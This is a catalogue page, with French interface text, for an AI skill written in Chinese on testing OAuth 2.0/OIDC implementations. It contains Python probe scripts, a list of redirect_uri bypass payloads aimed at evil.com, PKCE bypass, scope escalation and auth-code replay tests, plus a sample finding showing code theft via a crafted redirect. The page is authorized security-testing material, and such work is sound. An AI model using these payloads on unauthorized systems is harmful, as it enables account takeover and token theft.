L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-oauth2-implementation-flaws

testing-oauth2-implementation-flaws

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-oauth2-implementation-flaws description: > 测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。 domain: cybersecurity subdomain: api-security tags: [api-security, oauth2, oidc, authentication, redirect-uri, token-security] version: 1.0.0 author: mahipal license: Apache-2.0

测试 OAuth2 实现缺陷

适用场景

  • 评估 OAuth 2.0 授权码流程中重定向 URI 校验的薄弱环节
  • 测试 OAuth 客户端应用的 CSRF 防护(state 参数使用)及 PKCE 强制执行
  • 评估 OAuth 实现中的令牌存储、传输和生命周期管理
  • 测试客户端请求超出授权范围的权限(scope)提升
  • 评估 OpenID Connect 实现中的 ID 令牌校验和 nonce 使用

不适用于未经书面授权的情况。OAuth 测试可能导致令牌窃取或未授权访问。

前置条件

  • 书面授权,明确在测试范围内的 OAuth 提供商和客户端应用
  • 在授权服务器注册的测试 OAuth 客户端
  • Burp Suite Professional,用于拦截 OAuth 重定向和令牌流
  • Python 3.10+,安装 requests 和 oauthlib 库
  • 浏览器开发者工具,用于观察 OAuth 重定向链
  • 了解所使用的 OAuth 2.0 授权类型(authorization code、implicit、client credentials)

工作流程

步骤 1:OAuth 流程信息收集

import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# 发现 OAuth 端点
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC 配置:")
    print(f"  授权端点: {config.get('authorization_endpoint')}")
    print(f"  令牌端点: {config.get('token_endpoint')}")
    print(f"  用户信息端点: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  支持的授权类型: {config.get('grant_types_supported')}")
    print(f"  支持的 scope: {config.get('scopes_supported')}")
    print(f"  PKCE 方法: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # 尝试常见路径
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"发现授权端点: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break

步骤 2:重定向 URI 校验测试

# 测试 redirect_uri 校验严格程度
REDIRECT_BYPASS_PAYLOADS = [
    # 开放重定向变体
    REDIRECT_URI,                                          # 合法值
    "https://evil.com",                                    # 不同域名
    "https://app.example.com.evil.com/callback",          # 攻击者子域名
    "https://app.example.com@evil.com/callback",          # URL authority 混淆
    f"{REDIRECT_URI}/../../../evil.com",                  # 路径遍历
    f"{REDIRECT_URI}?next=https://evil.com",              # 参数注入
    f"{REDIRECT_URI}#https://evil.com",                   # 片段注入
    f"{REDIRECT_URI}%23evil.com",                         # 编码片段
    "https://app.example.com/callback/../../evil",        # 相对路径
    "https://APP.EXAMPLE.COM/callback",                   # 大小写变体
    "https://app.example.com/Callback",                   # 路径大小写变体
    "https://app.example.com/callback/",                  # 末尾斜杠
    "https://app.example.com/callback?",                  # 末尾问号
    "http://app.example.com/callback",                    # HTTP 降级
    "https://app.example.com:443/callback",               # 显式端口
    "https://app.example.com:8443/callback",              # 不同端口
    f"{REDIRECT_URI}/.evil.com",                          # 点号段
    "https://app.example.com/callbackevil",               # 路径前缀匹配
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript 协议
]

print("=== 重定向 URI 校验测试 ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)

    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location or redirect in location:
            status = "已接受"
            if redirect != REDIRECT_URI:
                print(f"  [存在漏洞] {redirect[:70]} -> 重定向已被接受")
        else:
            status = "已重定向"
    elif resp.status_code == 400:
        status = "已拒绝"
    else:
        status = f"HTTP {resp.status_code}"

    if redirect == REDIRECT_URI:
        print(f"  [基准] {redirect[:70]} -> {status}")

步骤 3:State 参数(CSRF)测试

# 测试 1:缺少 state 参数
params_no_state = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[CSRF] 授权码在没有 state 参数的情况下被颁发")

# 测试 2:state 参数复用
state_value = "fixed_state_value_123"
# 对多个授权请求使用相同的 state
for i in range(3):
    params = {**params_no_state, "state": state_value}
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        returned_state = urllib.parse.parse_qs(
            urllib.parse.urlparse(location).query).get("state", [None])[0]
        if returned_state == state_value:
            print(f"[信息] 第 {i+1} 次尝试时接受了相同的 state(请检查客户端校验)")

# 测试 3:不进行 state 校验的令牌交换(客户端检查)
# 拦截回调并尝试在不带 state 的情况下交换授权码
print("\n注意: state 校验是客户端行为,请验证回调处理器在交换授权码前是否校验了 state。")

步骤 4:PKCE 绕过测试

# 测试是否强制要求 PKCE(Proof Key for Code Exchange,代码交换证明密钥)

# 生成 PKCE 值
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')

# 测试 1:不带 PKCE 的授权请求
params_no_pkce = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[PKCE] 未携带 code_challenge 即颁发了授权码")

# 测试 2:不带 code_verifier 的令牌交换
auth_code = "captured_auth_code"  # 从拦截中获取
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    # 不携带 code_verifier
})
if token_resp.status_code == 200:
    print("[PKCE] 未携带 code_verifier 即颁发了令牌——PKCE 未被强制执行")

# 测试 3:使用错误的 code_verifier 进行令牌交换
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    "code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
    print("[PKCE] 使用错误的 code_verifier 仍颁发了令牌——PKCE 校验已损坏")

# 测试 4:从 S256 降级为 plain 方法
params_plain_pkce = {
    **params_no_pkce,
    "code_challenge": code_verifier,  # plain 方法中 challenge 即为 verifier 本身
    "code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
    print("[PKCE] 接受了 plain challenge 方法——存在拦截风险")

步骤 5:Scope 提升与令牌测试

# 测试 1:请求超出已注册范围的额外 scope
elevated_scopes = [
    "openid profile email admin",
    "openid profile email write:users",
    "openid profile email delete:*",
    "openid profile email admin:full",
    "*",
]

for scope in elevated_scopes:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": REDIRECT_URI,
        "scope": scope,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location:
            print(f"[SCOPE] 提升的 scope 已被接受: {scope}")

# 测试 2:跨客户端令牌复用
# 将客户端 A 的令牌用于客户端 B 的 API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
    headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
    print("[令牌] 客户端 A 的令牌被其他服务接受(未校验 audience)")

# 测试 3:刷新令牌窃取与复用
refresh_token = "captured_refresh_token"
# 尝试用不同的 client_id 使用刷新令牌
token_resp = requests.post(token_endpoint, data={
    "grant_type": "refresh_token",
    "refresh_token": refresh_token,
    "client_id": "different-client-id",
})
if token_resp.status_code == 200:
    print("[令牌] 刷新令牌被不同客户端接受——令牌未绑定到特定客户端")

步骤 6:隐式流程与令牌泄露测试

# 测试是否启用了隐式流程(根据 OAuth 2.1 应禁用)
implicit_params = {
    "response_type": "token",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
    location = resp.headers.get("Location", "")
    if "access_token=" in location:
        print("[隐式流程] 隐式流程已启用——令牌出现在 URL 片段中(已废弃/不安全)")

# 通过 Referer 头部检查令牌泄露
print("\n令牌泄露检查:")
print("  - 检查访问令牌是否出现在 URL 查询参数中")
print("  - 检查令牌是否被记录在服务器访问日志中")
print("  - 检查含授权码的回调 URL 是否被浏览器缓存")
print("  - 检查授权码是否为一次性使用(重放测试)")

# 授权码重放测试
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
    token_resp = requests.post(token_endpoint, data={
        "grant_type": "authorization_code",
        "code": auth_code_to_replay,
        "redirect_uri": REDIRECT_URI,
        "client_id": CLIENT_ID,
        "client_secret": "client_secret_value",
    })
    print(f"  授权码重放尝试 {attempt+1}: {token_resp.status_code}")
    if attempt > 0 and token_resp.status_code == 200:
        print("  [存在漏洞] 授权码不是一次性使用")

核心概念

术语定义
授权码流程(Authorization Code Flow)OAuth 2.0 流程,客户端通过重定向接收授权码,再在令牌端点将其交换为令牌
PKCEProof Key for Code Exchange(代码交换证明密钥)——通过 code verifier/challenge 将授权请求与令牌请求绑定,防止授权码拦截攻击
重定向 URI 校验(Redirect URI Validation)授权服务器验证 redirect_uri 与注册值完全匹配,防止通过开放重定向窃取授权码/令牌
State 参数在授权请求中传递的随机值,在回调中进行验证,以防止对 OAuth 流程的 CSRF 攻击
Scope 提升(Scope Escalation)请求或获取超出客户端授权范围的权限(scope),从而实现未授权访问
隐式流程(Implicit Flow)已废弃的 OAuth 流程,令牌直接出现在 URL 片段中,易遭受令牌泄露和重放攻击

工具与系统

  • Burp Suite Professional:拦截并操控 OAuth 重定向、授权码和令牌交换
  • EsPReSSO(Burp 扩展):自动测试 OAuth 和 OpenID Connect 实现中的已知漏洞
  • oauth2-security-tester:专用工具,用于针对常见攻击模式测试 OAuth 2.0 流程
  • OWASP ZAP:被动扫描器,检测拦截流量中的 OAuth 错误配置
  • jwt.io:在线 JWT 解码工具,用于分析 OAuth 访问令牌和 ID 令牌

常见场景

场景:社会化登录 OAuth 实现评估

场景背景:某 Web 应用使用 OAuth 2.0 授权码流程实现了"使用 Google 登录"和"使用 GitHub 登录"功能。该应用是一个 SaaS 平台,账户接管具有较高业务影响。

方法:

  1. 分析两个提供商的 /.well-known/openid-configuration OAuth 配置
  2. 测试重定向 URI 校验:发现应用注册了 https://app.example.com/callback,但服务器接受了 https://app.example.com/callback/..%2fevil
  3. 测试 state 参数:授权请求包含 state,但回调处理器未对其进行校验(存在 CSRF 风险)
  4. 测试 PKCE:授权码流程未实现 PKCE,移动端存在授权码拦截风险
  5. 测试隐式流程:应用未使用,但服务器仍已启用
  6. 测试 scope:应用请求 openid profile email,但授权服务器在未明确授权的情况下也授予了 read:repos
  7. 测试授权码重放:授权码可被交换两次,表明缺乏一次性使用强制执行
  8. 测试令牌 audience:Google 登录获取的访问令牌被 GitHub API 端点接受(未校验 audience)

常见陷阱:

  • 仅在浏览器中测试 OAuth 流程,而不拦截和操控重定向参数
  • 未单独测试授权请求和令牌交换两个阶段
  • 遗漏应用中可与 OAuth redirect_uri 链式组合的开放重定向漏洞
  • 未在客户端侧测试 state 参数校验(服务器可能包含 state,但客户端可能未检查)
  • 误以为授权服务器支持 PKCE 就等于已强制执行(客户端也必须发送)

输出格式

## 发现:OAuth2 重定向 URI 绕过导致授权码被窃取

**ID**: API-OAUTH-001
**严重程度**: 严重 (CVSS 9.3)
**受影响组件**: OAuth 2.0 授权码流程
**授权服务器**: auth.example.com

**描述**:
授权服务器的 redirect_uri 校验使用前缀匹配而非精确字符串匹配。
攻击者可操控 redirect_uri,将授权码重定向到攻击者控制的端点,
从而实现账户接管。此外,PKCE 未被强制执行,客户端应用也未校验 state 参数。

**概念验证**:
1. 构造含操控 redirect_uri 的授权 URL:
   https://auth.example.com/authorize?response_type=code&client_id=app
   &redirect_uri=https://app.example.com/callback/../../../evil.com
   &scope=openid+profile+email&state=abc123
2. 用户进行身份验证并批准授权
3. 授权码被重定向至 https://evil.com?code=AUTH_CODE&state=abc123
4. 攻击者在令牌端点交换授权码(无需 PKCE)
5. 攻击者获取受害者账户的访问令牌和 ID 令牌

**影响**:
任何点击精心构造的 OAuth 登录链接的用户均可遭受完整账户接管。
攻击者将获得对用户资料、邮箱及 OAuth scope 授权访问的所有资源的完整控制权。

**修复建议**:
1. 对 redirect_uri 实施精确字符串匹配(无通配符,无前缀匹配)
2. 对所有授权码流程请求强制要求 PKCE(S256 方法)
3. 在回调处理器中交换授权码前校验 state 参数
4. 在授权服务器上禁用隐式流程
5. 强制授权码为一次性使用,并设置较短的 TTL(最多 60 秒)
6. 在接受令牌前校验 audience (aud) 声明
Skills enregistrées